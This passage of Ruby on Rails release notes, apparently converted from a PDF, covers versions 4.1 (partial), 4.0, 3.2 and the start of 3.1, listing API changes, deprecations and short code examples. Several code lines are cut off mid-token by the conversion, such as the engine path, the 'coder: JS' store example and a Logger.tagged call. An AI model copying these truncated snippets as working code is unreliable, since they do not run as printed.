query to fetch results rather than loading the entire collection. (Pull
Request)
inspect on Active Record model classes does not initiate a new
connection. This means that calling inspect, when the database is
missing, will no longer raise an exception. (Pull Request)
Removed column restrictions for count, let the database raise if the
SQL is invalid. (Pull Request)
Rails now automatically detects inverse associations. If you do not set
the :inverse_of option on the association, then Active Record will
guess the inverse association based on heuristics. (Pull Request)

Handle aliased attributes in ActiveRecord::Relation. When using

symbol keys, ActiveRecord will now translate aliased attribute names
to the actual column name used in the database. (Pull Request)
The ERB in fixture files is no longer evaluated in the context of the
main object. Helper methods used by multiple fixtures should be
defined on modules included in
ActiveRecord::FixtureSet.context_class. (Pull Request)
Don't create or drop the test database if RAILS_ENV is specified
explicitly. (Pull Request)
Relation no longer has mutator methods like #map! and #delete_if.
Convert to an Array by calling #to_a before using these methods.
(Pull Request)
find_in_batches, find_each, Result#each and
Enumerable#index_by now return an Enumerator that can calculate
its size. (Pull Request)
scope, enum and Associations now raise on "dangerous" name
conflicts. (Pull Request, Pull Request)
second through fifth methods act like the first finder. (Pull
Request)
Make touch fire the after_commit and after_rollback callbacks.
(Pull Request)
Enable partial indexes for sqlite >= 3.8.0. (Pull Request)
Make change_column_null revertible. (Commit)
Added a flag to disable schema dump after migration. This is set to
false by default in the production environment for new applications.
(Pull Request)

7 Active Model
Please refer to the Changelog for detailed changes.
7.1 Deprecations
Deprecate Validator#setup. This should be done manually now in
the validator's constructor. (Commit)
7.2 Notable changes
Added new API methods reset_changes and changes_applied to
ActiveModel::Dirty that control changes state.
Ability to specify multiple contexts when defining a validation. (Pull
Request)
attribute_changed? now accepts a hash to check if the attribute was
changed :from and/or :to a given value. (Pull Request)

8 Active Support
Please refer to the Changelog for detailed changes.
8.1 Removals
Removed MultiJSON dependency. As a result,
ActiveSupport::JSON.decode no longer accepts an options hash for
MultiJSON. (Pull Request / More Details)
Removed support for the encode_json hook used for encoding
custom objects into JSON. This feature has been extracted into the
activesupport-json_encoder gem. (Related Pull Request / More
Details)
Removed deprecated ActiveSupport::JSON::Variable with no
replacement.
Removed deprecated String#encoding_aware? core extensions
(core_ext/string/encoding).
Removed deprecated Module#local_constant_names in favor of
Module#local_constants.
Removed deprecated DateTime.local_offset in favor of
DateTime.civil_from_format.
Removed deprecated Logger core extensions (core_ext/logger.rb).
Removed deprecated Time#time_with_datetime_fallback,
Time#utc_time and Time#local_time in favor of Time#utc and
Time#local.
Removed deprecated Hash#diff with no replacement.
Removed deprecated Date#to_time_in_current_zone in favor of
Date#in_time_zone.
Removed deprecated Proc#bind with no replacement.
Removed deprecated Array#uniq_by and Array#uniq_by!, use native
Array#uniq and Array#uniq! instead.
Removed deprecated ActiveSupport::BasicObject, use
ActiveSupport::ProxyObject instead.

Removed deprecated BufferedLogger, use ActiveSupport::Logger

instead.
Removed deprecated assert_present and assert_blank methods,
use assert object.blank? and assert object.present? instead.
Remove deprecated #filter method for filter objects, use the
corresponding method instead (e.g. #before for a before filter).
Removed 'cow' => 'kine' irregular inflection from default inflections.
(Commit)
8.2 Deprecations
Deprecated Numeric#{ago,until,since,from_now}, the user is
expected to explicitly convert the value into an AS::Duration, i.e.
5.ago => 5.seconds.ago (Pull Request)
Deprecated the require path
active_support/core_ext/object/to_json. Require
active_support/core_ext/object/json instead. (Pull Request)
Deprecated
ActiveSupport::JSON::Encoding::CircularReferenceError. This
feature has been extracted into the activesupport-json_encoder gem.
(Pull Request / More Details)
Deprecated ActiveSupport.encode_big_decimal_as_string option.
This feature has been extracted into the activesupport-json_encoder
gem. (Pull Request / More Details)
Deprecate custom BigDecimal serialization. (Pull Request)
8.3 Notable changes
ActiveSupport's JSON encoder has been rewritten to take advantage

of the JSON gem rather than doing custom encoding in pure-Ruby.

(Pull Request / More Details)
Improved compatibility with the JSON gem. (Pull Request / More
Details)

Added ActiveSupport::Testing::TimeHelpers#travel and

#travel_to. These methods change current time to the given time or
duration by stubbing Time.now and Date.today.
Added ActiveSupport::Testing::TimeHelpers#travel_back. This
method returns the current time to the original state, by removing the
stubs added by travel and travel_to. (Pull Request)
Added Numeric#in_milliseconds, like 1.hour.in_milliseconds,
so we can feed them to JavaScript functions like getTime().
(Commit)
Added Date#middle_of_day, DateTime#middle_of_day and
Time#middle_of_day methods. Also added midday, noon, at_midday,
at_noon and at_middle_of_day as aliases. (Pull Request)
Added Date#all_week/month/quarter/year for generating date
ranges. (Pull Request)
Added Time.zone.yesterday and Time.zone.tomorrow. (Pull
Request)
Added String#remove(pattern) as a short-hand for the common
pattern of String#gsub(pattern,''). (Commit)
Added Hash#compact and Hash#compact! for removing items with nil
value from hash. (Pull Request)
blank? and present? commit to return singletons. (Commit)
Default the new I18n.enforce_available_locales config to true,
meaning I18n will make sure that all locales passed to it must be
declared in the available_locales list. (Pull Request)
Introduce Module#concerning: a natural, low-ceremony way to
separate responsibilities within a class. (Commit)
Added Object#presence_in to simplify value whitelisting. (Commit)

9 Credits
See the full list of contributors to Rails for the many people who spent
many hours making Rails, the stable and robust framework it is. Kudos to
all of them.

Ruby on Rails 4.0 Release Notes

Ruby...

1 Upgrading to Rails 4.0

If you're upgrading an existing application, it's a great idea to have good
test coverage before going in. You should also first upgrade to Rails 3.2 in
case you haven't and make sure your application still runs as expected
before attempting an update to Rails 4.0. A list of things to watch out for
when upgrading is available in the Upgrading Ruby on Rails guide.

2 Creating a Rails 4.0 application

You should have the 'rails' RubyGem installed
$ rails new myapp
$ cd myapp

2.1 Vendoring Gems

Rails now uses a Gemfile in the application root to determine the gems
you require for your application to start. This Gemfile is processed by the
Bundler gem, which then installs all your dependencies. It can even install
all the dependencies locally to your application so that it doesn't depend on
the system gems.
More information: Bundler homepage
2.2 Living on the Edge
Bundler and Gemfile makes freezing your Rails application easy as pie
with the new dedicated bundle command. If you want to bundle straight
from the Git repository, you can pass the --edge flag:
$ rails new myapp --edge

If you have a local checkout of the Rails repository and want to generate
an application using that, you can pass the --dev flag:
$ ruby /path/to/rails/railties/bin/rails new myapp --dev

3 Major Features

3.1 Upgrade
Ruby 1.9.3 (commit) - Ruby 2.0 preferred; 1.9.3+ required
New deprecation policy - Deprecated features are warnings in Rails
4.0 and will be removed in Rails 4.1.
ActionPack page and action caching (commit) - Page and action
caching are extracted to a separate gem. Page and action caching
requires too much manual intervention (manually expiring caches
when the underlying model objects are updated). Instead, use Russian
doll caching.
ActiveRecord observers (commit) - Observers are extracted to a
separate gem. Observers are only needed for page and action caching,
and can lead to spaghetti code.
ActiveRecord session store (commit) - The ActiveRecord session
store is extracted to a separate gem. Storing sessions in SQL is costly.
Instead, use cookie sessions, memcache sessions, or a custom session
store.
ActiveModel mass assignment protection (commit) - Rails 3 mass

assignment protection is deprecated. Instead, use strong parameters.

ActiveResource (commit) - ActiveResource is extracted to a separate
gem. ActiveResource was not widely used.
vendor/plugins removed (commit) - Use a Gemfile to manage
installed gems.
3.2 ActionPack
Strong parameters (commit) - Only allow whitelisted parameters to
update model objects (params.permit(:title, :text)).
Routing concerns (commit) - In the routing DSL, factor out common
subroutes (comments from /posts/1/comments and
/videos/1/comments).
ActionController::Live (commit) - Stream JSON with
response.stream.
Declarative ETags (commit) - Add controller-level etag additions
that will be part of the action etag computation.
Russian doll caching (commit) - Cache nested fragments of views.
Each fragment expires based on a set of dependencies (a cache key).
The cache key is usually a template version number and a model
object.
Turbolinks (commit) - Serve only one initial HTML page. When the
user navigates to another page, use pushState to update the URL and
use AJAX to update the title and body.
Decouple ActionView from ActionController (commit) ActionView was decoupled from ActionPack and will be moved to a
separated gem in Rails 4.1.
Do not depend on ActiveModel (commit) - ActionPack no longer
depends on ActiveModel.
3.3 General
ActiveModel::Model (commit) - ActiveModel::Model, a mixin to

make normal Ruby objects to work with ActionPack out of box (ex.
for form_for)
New scope API (commit) - Scopes must always use callables.
Schema cache dump (commit) - To improve Rails boot time, instead
of loading the schema directly from the database, load the schema
from a dump file.
Support for specifying transaction isolation level (commit) Choose whether repeatable reads or improved performance (less
locking) is more important.
Dalli (commit) - Use Dalli memcache client for the memcache store.
Notifications start & finish (commit) - Active Support
instrumentation reports start and finish notifications to subscribers.
Thread safe by default (commit) - Rails can run in threaded app
servers without additional configuration.
Check that the gems you are using are threadsafe.
PATCH verb (commit) - In Rails, PATCH replaces PUT. PATCH is
used for partial updates of resources.
3.4 Security
match do not catch all (commit) - In the routing DSL, match
requires the HTTP verb or verbs to be specified.
html entities escaped by default (commit) - Strings rendered in erb
are escaped unless wrapped with raw or html_safe is called.
New security headers (commit) - Rails sends the following headers
with every HTTP request: X-Frame-Options (prevents clickjacking
by forbidding the browser from embedding the page in a frame), XXSS-Protection (asks the browser to halt script injection) and XContent-Type-Options (prevents the browser from opening a jpeg as
an exe).

4 Extraction of features to gems

In Rails 4.0, several features have been extracted into gems. You can
simply add the extracted gems to your Gemfile to bring the functionality
back.
Hash-based & Dynamic finder methods (GitHub)
Mass assignment protection in Active Record models (GitHub, Pull
Request)
ActiveRecord::SessionStore (GitHub, Pull Request)
Active Record Observers (GitHub, Commit)
Active Resource (GitHub, Pull Request, Blog)
Action Caching (GitHub, Pull Request)
Page Caching (GitHub, Pull Request)
Sprockets (GitHub)
Performance tests (GitHub, Pull Request)

5 Documentation
Guides are rewritten in GitHub Flavored Markdown.
Guides have a responsive design.

6 Railties
Please refer to the Changelog for detailed changes.
6.1 Notable changes
New test locations test/models, test/helpers, test/controllers,
and test/mailers. Corresponding rake tasks added as well. (Pull
Request)
Your app's executables now live in the bin/ directory. Run rake
rails:update:bin to get bin/bundle, bin/rails, and bin/rake.
Threadsafe on by default
Ability to use a custom builder by passing --builder (or -b) to rails
new has been removed. Consider using application templates instead.
(Pull Request)
6.2 Deprecations
config.threadsafe! is deprecated in favor of config.eager_load

which provides a more fine grained control on what is eager loaded.

Rails::Plugin has gone. Instead of adding plugins to
vendor/plugins use gems or bundler with path or git dependencies.

7 Action Mailer
Please refer to the Changelog for detailed changes.
7.1 Notable changes
7.2 Deprecations

8 Active Model
Please refer to the Changelog for detailed changes.
8.1 Notable changes
Add ActiveModel::ForbiddenAttributesProtection, a simple
module to protect attributes from mass assignment when nonpermitted attributes are passed.
Added ActiveModel::Model, a mixin to make Ruby objects work
with Action Pack out of box.
8.2 Deprecations

9 Active Support
Please refer to the Changelog for detailed changes.
9.1 Notable changes
Replace deprecated memcache-client gem with dalli in
ActiveSupport::Cache::MemCacheStore.
Optimize ActiveSupport::Cache::Entry to reduce memory and
processing overhead.
Inflections can now be defined per locale. singularize and
pluralize accept locale as an extra argument.
Object#try will now return nil instead of raise a NoMethodError if
the receiving object does not implement the method, but you can still
get the old behavior by using the new Object#try!.
String#to_date now raises ArgumentError: invalid date instead
of NoMethodError: undefined method 'div' for nil:NilClass
when given an invalid date. It is now the same as Date.parse, and it
accepts more invalid dates than 3.x, such as:

# ActiveSupport 3.x
"asdf".to_date # => NoMethodError: undefined method `div' for
"333".to_date # => NoMethodError: undefined method `div' for n
# ActiveSupport 4
"asdf".to_date # => ArgumentError: invalid date
"333".to_date # => Fri, 29 Nov 2013

9.2 Deprecations
Deprecate ActiveSupport::TestCase#pending method, use skip
from MiniTest instead.
ActiveSupport::Benchmarkable#silence has been deprecated due
to its lack of thread safety. It will be removed without replacement in

Rails 4.1.
ActiveSupport::JSON::Variable is deprecated. Define your own
#as_json and #encode_json methods for custom JSON string

literals.
Deprecates the compatibility method
Module#local_constant_names, use Module#local_constants
instead (which returns symbols).
BufferedLogger is deprecated. Use ActiveSupport::Logger, or the
logger from Ruby standard library.
Deprecate assert_present and assert_blank in favor of assert
object.blank? and assert object.present?

10 Action Pack
Please refer to the Changelog for detailed changes.
10.1 Notable changes
Change the stylesheet of exception pages for development mode.
Additionally display also the line of code and fragment that raised the
exception in all exceptions pages.
10.2 Deprecations

11 Active Record
Please refer to the Changelog for detailed changes.
11.1 Notable changes
Improve ways to write change migrations, making the old up & down
methods no longer necessary.
The methods drop_table and remove_column are now
reversible, as long as the necessary information is given. The
method remove_column used to accept multiple column names;
instead use remove_columns (which is not revertible). The
method change_table is also reversible, as long as its block
doesn't call remove, change or change_default
New method reversible makes it possible to specify code to be
run when migrating up or down. See the Guide on Migration
New method revert will revert a whole migration or the given
block. If migrating down, the given migration / block is run
normally. See the Guide on Migration
Adds PostgreSQL array type support. Any datatype can be used to
create an array column, with full migration and schema dumper
support.
Add Relation#load to explicitly load the record and return self.
Model.all now returns an ActiveRecord::Relation, rather than an
array of records. Use Relation#to_a if you really want an array. In
some specific cases, this may cause breakage when upgrading.
Added ActiveRecord::Migration.check_pending! that raises an
error if migrations are pending.
Added custom coders support for ActiveRecord::Store. Now you
can set your custom coder like this:

store :settings, accessors: [ :color, :homepage ], coder: JS

mysql and mysql2 connections will set

SQL_MODE=STRICT_ALL_TABLES by default to avoid silent data loss.
This can be disabled by specifying strict: false in your
database.yml.

Remove IdentityMap.
Remove automatic execution of EXPLAIN queries. The option
active_record.auto_explain_threshold_in_seconds is no longer
used and should be removed.
Adds ActiveRecord::NullRelation and
ActiveRecord::Relation#none implementing the null object pattern
for the Relation class.
Added create_join_table migration helper to create HABTM join
tables.
Allows PostgreSQL hstore records to be created.
11.2 Deprecations
Deprecated the old-style hash based finder API. This means that
methods which previously accepted "finder options" no longer do.
All dynamic methods except for find_by_... and find_by_...! are
deprecated. Here's how you can rewrite the code:
find_all_by_... can be rewritten using where(...).
find_last_by_... can be rewritten using where(...).last.
scoped_by_... can be rewritten using where(...).
find_or_initialize_by_... can be rewritten using
find_or_initialize_by(...).
find_or_create_by_... can be rewritten using
find_or_create_by(...).
find_or_create_by_...! can be rewritten using
find_or_create_by!(...).

12 Credits
See the full list of contributors to Rails for the many people who spent
many hours making Rails, the stable and robust framework it is. Kudos to
all of them.

Ruby on Rails 3.2 Release Notes

Ruby...

1 Upgrading to Rails 3.2

If you're upgrading an existing application, it's a great idea to have good
test coverage before going in. You should also first upgrade to Rails 3.1 in
case you haven't and make sure your application still runs as expected
before attempting an update to Rails 3.2. Then take heed of the following
changes:
1.1 Rails 3.2 requires at least Ruby 1.8.7
Rails 3.2 requires Ruby 1.8.7 or higher. Support for all of the previous
Ruby versions has been dropped officially and you should upgrade as early
as possible. Rails 3.2 is also compatible with Ruby 1.9.2.
Note that Ruby 1.8.7 p248 and p249 have marshalling bugs that crash
Rails. Ruby Enterprise Edition has these fixed since the release of 1.8.72010.02. On the 1.9 front, Ruby 1.9.1 is not usable because it outright
segfaults, so if you want to use 1.9.x, jump on to 1.9.2 or 1.9.3 for smooth
sailing.
1.2 What to update in your apps
Update your Gemfile to depend on
rails = 3.2.0
sass-rails ~> 3.2.3
coffee-rails ~> 3.2.1
uglifier >= 1.0.3
Rails 3.2 deprecates vendor/plugins and Rails 4.0 will remove them

completely. You can start replacing these plugins by extracting them

as gems and adding them in your Gemfile. If you choose not to make
them gems, you can move them into, say, lib/my_plugin/* and add
an appropriate initializer in config/initializers/my_plugin.rb.
There are a couple of new configuration changes you'd want to add in

config/environments/development.rb:

# Raise exception on mass assignment protection for Active R

config.active_record.mass_assignment_sanitizer = :strict

# Log the query plan for queries taking more than this (work
# with SQLite, MySQL, and PostgreSQL)
config.active_record.auto_explain_threshold_in_seconds = 0.5

The mass_assignment_sanitizer config also needs to be added in

config/environments/test.rb:

# Raise exception on mass assignment protection for Active R

config.active_record.mass_assignment_sanitizer = :strict

1.3 What to update in your engines

Replace the code beneath the comment in script/rails with the
following content:

ENGINE_ROOT = File.expand_path('../..', FILE)

ENGINE_PATH = File.expand_path('../../lib/your_engine_name/engin
require 'rails/all'
require 'rails/engine/commands'

2 Creating a Rails 3.2 application

# You should have the 'rails' RubyGem installed
$ rails new myapp
$ cd myapp

2.1 Vendoring Gems

If you have a local checkout of the Rails repository and want to generate
an application using that, you can pass the --dev flag:
$ ruby /path/to/rails/railties/bin/rails new myapp --dev

3 Major Features
3.1 Faster Development Mode & Routing
Rails 3.2 comes with a development mode that's noticeably faster. Inspired
by Active Reload, Rails reloads classes only when files actually change.
The performance gains are dramatic on a larger application. Route
recognition also got a bunch faster thanks to the new Journey engine.
3.2 Automatic Query Explains
Rails 3.2 comes with a nice feature that explains queries generated by Arel
by defining an explain method in ActiveRecord::Relation. For
example, you can run something like puts
Person.active.limit(5).explain and the query Arel produces is
explained. This allows to check for the proper indexes and further
optimizations.
Queries that take more than half a second to run are automatically
explained in the development mode. This threshold, of course, can be
changed.
3.3 Tagged Logging
When running a multi-user, multi-account application, it's a great help to
be able to filter the log by who did what. TaggedLogging in Active
Support helps in doing exactly that by stamping log lines with subdomains,
request ids, and anything else to aid debugging such applications.

4 Documentation
From Rails 3.2, the Rails guides are available for the Kindle and free
Kindle Reading Apps for the iPad, iPhone, Mac, Android, etc.

5 Railties
Speed up development by only reloading classes if dependencies files
changed. This can be turned off by setting
config.reload_classes_only_on_change to false.
New applications get a flag
config.active_record.auto_explain_threshold_in_seconds in
the environments configuration files. With a value of 0.5 in
development.rb and commented out in production.rb. No mention
in test.rb.
Added config.exceptions_app to set the exceptions application
invoked by the ShowException middleware when an exception
happens. Defaults to
ActionDispatch::PublicExceptions.new(Rails.public_path).
Added a DebugExceptions middleware which contains features
extracted from ShowExceptions middleware.
Display mounted engines' routes in rake routes.
Allow to change the loading order of railties with
config.railties_order like:
config.railties_order = [Blog::Engine, :main_app, :all]

Scaffold returns 204 No Content for API requests without content.

This makes scaffold work with jQuery out of the box.
Update Rails::Rack::Logger middleware to apply any tags set in
config.log_tags to ActiveSupport::TaggedLogging. This makes it
easy to tag log lines with debug information like subdomain and
request id -- both very helpful in debugging multi-user production
applications.
Default options to rails new can be set in ~/.railsrc. You can
specify extra command-line arguments to be used every time rails
new runs in the .railsrc configuration file in your home directory.
Add an alias d for destroy. This works for engines too.

Attributes on scaffold and model generators default to string. This

allows the following: rails g scaffold Post title body:text
author

Allow scaffold/model/migration generators to accept "index" and

"uniq" modifiers. For example,

rails g scaffold Post title:string:index author:uniq price:d

will create indexes for title and author with the latter being a
unique index. Some types such as decimal accept custom options. In
the example, price will be a decimal column with precision and scale
set to 7 and 2 respectively.
Turn gem has been removed from default Gemfile.
Remove old plugin generator rails generate plugin in favor of
rails plugin new command.
Remove old config.paths.app.controller API in favor of
config.paths["app/controller"].
5.1 Deprecations

Rails::Plugin is deprecated and will be removed in Rails 4.0.

Instead of adding plugins to vendor/plugins use gems or bundler

with path or git dependencies.

6 Action Mailer
Upgraded mail version to 2.4.0.
Removed the old Action Mailer API which was deprecated since
Rails 3.0.

7 Action Pack
7.1 Action Controller
Make ActiveSupport::Benchmarkable a default module for
ActionController::Base, so the #benchmark method is once again
available in the controller context like it used to be.
Added :gzip option to caches_page. The default option can be
configured globally using page_cache_compression.
Rails will now use your default layout (such as "layouts/application")
when you specify a layout with :only and :except condition, and
those conditions fail.
class CarsController
layout 'single_car', :only => :show
end

Rails will use layouts/single_car when a request comes in :show

action, and use layouts/application (or layouts/cars, if exists)
when a request comes in for any other actions.
form_for is changed to use #{action}_#{as} as the css class and id
if :as option is provided. Earlier versions used #{as}_#{action}.
ActionController::ParamsWrapper on Active Record models now
only wrap attr_accessible attributes if they were set. If not, only
the attributes returned by the class method attribute_names will be
wrapped. This fixes the wrapping of nested attributes by adding them
to attr_accessible.
Log "Filter chain halted as CALLBACKNAME rendered or
redirected" every time a before callback halts.
ActionDispatch::ShowExceptions is refactored. The controller is
responsible for choosing to show exceptions. It's possible to override
show_detailed_exceptions? in controllers to specify which requests
should provide debugging information on errors.
Responders now return 204 No Content for API requests without a

response body (as in the new scaffold).

ActionController::TestCase cookies is refactored. Assigning
cookies for test cases should now use cookies[]
cookies[:email] = '[email protected]'
get :index
assert_equal '[email protected]', cookies[:email]

To clear the cookies, use clear.

cookies.clear
get :index
assert_nil cookies[:email]

We now no longer write out HTTP_COOKIE and the cookie jar is

persistent between requests so if you need to manipulate the
environment for your test you need to do it before the cookie jar is
created.
send_file now guesses the MIME type from the file extension if
:type is not provided.
MIME type entries for PDF, ZIP and other formats were added.
Allow fresh_when/stale? to take a record instead of an options
hash.
Changed log level of warning for missing CSRF token from :debug
to :warn.
Assets should use the request protocol by default or default to relative
if no request is available.
7.1.1 Deprecations

Deprecated implied layout lookup in controllers whose parent had an

explicit layout set:
class ApplicationController
layout "application"
end

class PostsController < ApplicationController

end

In the example above, PostsController will no longer automatically

look up for a posts layout. If you need this functionality you could
either remove layout "application" from ApplicationController
or explicitly set it to nil in PostsController.
Deprecated ActionController::UnknownAction in favor of
AbstractController::ActionNotFound.
Deprecated ActionController::DoubleRenderError in favor of
AbstractController::DoubleRenderError.
Deprecated method_missing in favor of action_missing for missing
actions.
Deprecated ActionController#rescue_action,
ActionController#initialize_template_class and
ActionController#assign_shortcuts.
7.2 Action Dispatch
Add config.action_dispatch.default_charset to configure
default charset for ActionDispatch::Response.
Added ActionDispatch::RequestId middleware that'll make a
unique X-Request-Id header available to the response and enables the
ActionDispatch::Request#uuid method. This makes it easy to trace
requests from end-to-end in the stack and to identify individual
requests in mixed logs like Syslog.
The ShowExceptions middleware now accepts an exceptions
application that is responsible to render an exception when the
application fails. The application is invoked with a copy of the
exception in env["action_dispatch.exception"] and with the
PATH_INFO rewritten to the status code.
Allow rescue responses to be configured through a railtie as in
config.action_dispatch.rescue_responses.

7.2.1 Deprecations

Deprecated the ability to set a default charset at the controller level,

use the new config.action_dispatch.default_charset instead.
7.3 Action View
Add button_tag support to ActionView::Helpers::FormBuilder.
This support mimics the default behavior of submit_tag.
<%= form_for @post do |f| %>
<%= f.button %>
<% end %>

Date helpers accept a new option :use_two_digit_numbers =>

true, that renders select boxes for months and days with a leading
zero without changing the respective values. For example, this is
useful for displaying ISO 8601-style dates such as '2011-08-01'.
You can provide a namespace for your form to ensure uniqueness of
id attributes on form elements. The namespace attribute will be
prefixed with underscore on the generated HTML id.
<%= form_for(@offer, :namespace => 'namespace') do |f| %>
<%= f.label :version, 'Version' %>:
<%= f.text_field :version %>
<% end %>

Limit the number of options for select_year to 1000. Pass

:max_years_allowed option to set your own limit.
content_tag_for and div_for can now take a collection of records.
It will also yield the record as the first argument if you set a receiving
argument in your block. So instead of having to do this:
@items.each do |item|
content_tag_for(:li, item) do
Title: <%= item.title %>

end
end

You can do this:

content_tag_for(:li, @items) do |item|
Title: <%= item.title %>
end

Added font_path helper method that computes the path to a font

asset in public/fonts.
7.3.1 Deprecations

Passing formats or handlers to render :template and friends like

render :template => "foo.html.erb" is deprecated. Instead, you
can provide :handlers and :formats directly as options: render
:template => "foo", :formats => [:html, :js], :handlers =>
:erb.

7.4 Sprockets
Adds a configuration option config.assets.logger to control
Sprockets logging. Set it to false to turn off logging and to nil to
default to Rails.logger.

8 Active Record
Boolean columns with 'on' and 'ON' values are type cast to true.
When the timestamps method creates the created_at and
updated_at columns, it makes them non-nullable by default.
Implemented ActiveRecord::Relation#explain.
Implements ActiveRecord::Base.silence_auto_explain which
allows the user to selectively disable automatic EXPLAINs within a
block.
Implements automatic EXPLAIN logging for slow queries. A new
configuration parameter
config.active_record.auto_explain_threshold_in_seconds

determines what's to be considered a slow query. Setting that to nil

disables this feature. Defaults are 0.5 in development mode, and nil in
test and production modes. Rails 3.2 supports this feature in SQLite,
MySQL (mysql2 adapter), and PostgreSQL.
Added ActiveRecord::Base.store for declaring simple singlecolumn key/value stores.
class User < ActiveRecord::Base
store :settings, accessors: [ :color, :homepage ]
end

u = User.new(color: 'black', homepage: '37signals.com')

u.color # Accessor stored attribute
u.settings[:country] = 'Denmark' # Any attribute, even if no

Added ability to run migrations only for a given scope, which allows
to run migrations only from one engine (for example to revert
changes from an engine that need to be removed).
rake db:migrate SCOPE=blog

Migrations copied from engines are now scoped with engine's name,
for example 01_create_posts.blog.rb.

Implemented ActiveRecord::Relation#pluck method that returns

an array of column values directly from the underlying table. This
also works with serialized attributes.
Client.where(:active => true).pluck(:id)
# SELECT id from clients where active = 1

Generated association methods are created within a separate module

to allow overriding and composition. For a class named MyModel,
the module is named MyModel::GeneratedFeatureMethods. It is
included into the model class immediately after the
generated_attributes_methods module defined in Active Model,
so association methods override attribute methods of the same name.
Add ActiveRecord::Relation#uniq for generating unique queries.
Client.select('DISTINCT name')

..can be written as:

Client.select(:name).uniq

This also allows you to revert the uniqueness in a relation:

Client.select(:name).uniq.uniq(false)

Support index sort order in SQLite, MySQL and PostgreSQL

adapters.
Allow the :class_name option for associations to take a symbol in
addition to a string. This is to avoid confusing newbies, and to be
consistent with the fact that other options like :foreign_key already
allow a symbol or a string.

has_many :clients, :class_name => :Client # Note that the sy

In development mode, db:drop also drops the test database in order

to be symmetric with db:create.
Case-insensitive uniqueness validation avoids calling LOWER in
MySQL when the column already uses a case-insensitive collation.
Transactional fixtures enlist all active database connections. You can
test models on different connections without disabling transactional
fixtures.
Add first_or_create, first_or_create!, first_or_initialize
methods to Active Record. This is a better approach over the old
find_or_create_by dynamic methods because it's clearer which
arguments are used to find the record and which are used to create it.

User.where(:first_name => "Scarlett").first_or_create!(:last

Added a with_lock method to Active Record objects, which starts a

transaction, locks the object (pessimistically) and yields to the block.
The method takes one (optional) parameter and passes it to lock!.
This makes it possible to write the following:
class Order < ActiveRecord::Base
def cancel!
transaction do
lock!
# ... cancelling logic
end
end
end

as:
class Order < ActiveRecord::Base
def cancel!
with_lock do
# ... cancelling logic
end
end
end

8.1 Deprecations
Automatic closure of connections in threads is deprecated. For
example the following code is deprecated:
Thread.new { Post.find(1) }.join

It should be changed to close the database connection at the end of

the thread:
Thread.new {
Post.find(1)
Post.connection.close
}.join

Only people who spawn threads in their application code need to

worry about this change.
The set_table_name, set_inheritance_column,
set_sequence_name, set_primary_key, set_locking_column
methods are deprecated. Use an assignment method instead. For
example, instead of set_table_name, use self.table_name=.
class Project < ActiveRecord::Base
self.table_name = "project"
end

Or define your own self.table_name method:

class Post < ActiveRecord::Base
def self.table_name
"special_" + super
end
end
Post.table_name # => "special_posts"

9 Active Model
Add ActiveModel::Errors#added? to check if a specific error has
been added.
Add ability to define strict validations with strict => true that
always raises exception when fails.
Provide mass_assignment_sanitizer as an easy API to replace the
sanitizer behavior. Also support both :logger (default) and :strict
sanitizer behavior.
9.1 Deprecations
Deprecated define_attr_method in
ActiveModel::AttributeMethods because this only existed to
support methods like set_table_name in Active Record, which are
themselves being deprecated.
Deprecated Model.model_name.partial_path in favor of
model.to_partial_path.

10 Active Resource
Redirect responses: 303 See Other and 307 Temporary Redirect now
behave like 301 Moved Permanently and 302 Found.

11 Active Support
Added ActiveSupport:TaggedLogging that can wrap any standard
Logger class to provide tagging capabilities.

Logger = ActiveSupport::TaggedLogging.new(Logger.new(STDOUT)
Logger.tagged("BCX") { Logger.info "Stuff" }
# Logs "[BCX] Stuff"
Logger.tagged("BCX", "Jason") { Logger.info "Stuff" }
# Logs "[BCX] [Jason] Stuff"

Logger.tagged("BCX") { Logger.tagged("Jason") { Logger.info

# Logs "[BCX] [Jason] Stuff"

The beginning_of_week method in Date, Time and DateTime accepts

an optional argument representing the day in which the week is
assumed to start.
ActiveSupport::Notifications.subscribed provides subscriptions
to events while a block runs.
Defined new methods Module#qualified_const_defined?,
Module#qualified_const_get and Module#qualified_const_set
that are analogous to the corresponding methods in the standard API,
but accept qualified constant names.
Added #deconstantize which complements #demodulize in
inflections. This removes the rightmost segment in a qualified
constant name.
Added safe_constantize that constantizes a string but returns nil
instead of raising an exception if the constant (or part of it) does not
exist.
ActiveSupport::OrderedHash is now marked as extractable when
using Array#extract_options!.
Added Array#prepend as an alias for Array#unshift and
Array#append as an alias for Array#<<.

The definition of a blank string for Ruby 1.9 has been extended to
Unicode whitespace. Also, in Ruby 1.8 the ideographic space U`3000
is considered to be whitespace.
The inflector understands acronyms.
Added Time#all_day, Time#all_week, Time#all_quarter and
Time#all_year as a way of generating ranges.
Event.where(:created_at => Time.now.all_week)
Event.where(:created_at => Time.now.all_day)

Added instance_accessor: false as an option to

Class#cattr_accessor and friends.
ActiveSupport::OrderedHash now has different behavior for #each
and #each_pair when given a block accepting its parameters with a
splat.
Added ActiveSupport::Cache::NullStore for use in development
and testing.
Removed ActiveSupport::SecureRandom in favor of SecureRandom
from the standard library.
11.1 Deprecations
ActiveSupport::Base64 is deprecated in favor of ::Base64.
Deprecated ActiveSupport::Memoizable in favor of Ruby

memoization pattern.
Module#synchronize is deprecated with no replacement. Please use

monitor from ruby's standard library.

Deprecated ActiveSupport::MessageEncryptor#encrypt and
ActiveSupport::MessageEncryptor#decrypt.
ActiveSupport::BufferedLogger#silence is deprecated. If you
want to squelch logs for a certain block, change the log level for that
block.
ActiveSupport::BufferedLogger#open_log is deprecated. This
method should not have been public in the first place.

ActiveSupport::BufferedLogger's behavior of automatically

creating the directory for your log file is deprecated. Please make sure
to create the directory for your log file before instantiating.
ActiveSupport::BufferedLogger#auto_flushing is deprecated.
Either set the sync level on the underlying file handle like this. Or
tune your filesystem. The FS cache is now what controls flushing.
f = File.open('foo.log', 'w')
f.sync = true
ActiveSupport::BufferedLogger.new f

ActiveSupport::BufferedLogger#flush is deprecated. Set sync on

your filehandle, or tune your filesystem.

12 Credits
See the full list of contributors to Rails for the many people who spent
many hours making Rails, the stable and robust framework it is. Kudos to
all of them.
Rails 3.2 Release Notes were compiled by Vijay Dev.

Ruby on Rails 3.1 Release Notes

Ruby...

1 Upgrading to Rails 3.1

If you're upgrading an existing application, it's a great idea to have good
test coverage before going in. You should also first upgrade to Rails 3 in
case you haven't and make sure your application still runs as expected
before attempting to update to Rails 3.1. Then take heed of the following
changes:
1.1 Rails 3.1 requires at least Ruby 1.8.7
Rails 3.1 requires Ruby 1.8.7 or higher. Support for all of the previous
Ruby versions has been dropped officially and you should upgrade as early
as possible. Rails 3.1 is also compatible with Ruby 1.9.2.
